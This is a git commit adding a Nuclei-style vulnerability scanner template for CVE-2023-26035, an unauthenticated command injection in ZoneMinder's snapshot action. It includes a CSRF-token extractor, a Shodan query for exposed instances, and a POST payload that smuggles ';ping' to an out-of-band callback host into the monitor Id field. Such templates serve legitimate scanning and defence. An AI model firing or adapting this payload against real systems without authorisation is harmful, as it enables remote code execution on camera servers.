Create CVE-2023-26035.yaml (ZoneMinder Snapshots - Command Injection)

patch-1
Dhiyaneshwaran 2023-12-19 22:13:11 +05:30 committed by GitHub
parent 36562a84f3
commit ea9eedd815
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 57 additions and 0 deletions

View File

@ -0,0 +1,57 @@
id: CVE-2023-26035
info:
name: ZoneMinder Snapshots - Command Injection
author: Unblvr1,whotwagner
severity: critical
description: |
ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras. Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.
remediation: This issue is fixed in This issue is fixed in versions 1.36.33 and 1.37.33.
reference:
- https://www.rapid7.com/db/modules/exploit/unix/webapp/zoneminder_snapshots/
- https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr
- https://nvd.nist.gov/vuln/detail/CVE-2023-26035
- https://packetstormsecurity.com/files/175675/ZoneMinder-Snapshots-Command-Injection.html
- https://github.com/rvizx/CVE-2023-26035
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-26035
cwe-id: CWE-862
epss-score: 0.10404
epss-percentile: 0.94424
metadata:
max-request: 1
verified: true
shodan-query: html:"ZM - Login"
tags: cve,cve2023,rce,zoneminder,unauth,packetstorm
http:
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
view=snapshot&action=create&monitor_ids[0][Id]=;ping+{{interactsh-url}}&__csrf_magic={{csrf_token}}
extractors:
- type: regex
name: csrf_token
part: body
internal: true
group: 1
regex:
- csrfMagicToken = \"(key:[a-f0-9]{40},\d+)
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(body_1, "zoneminder")'
condition: and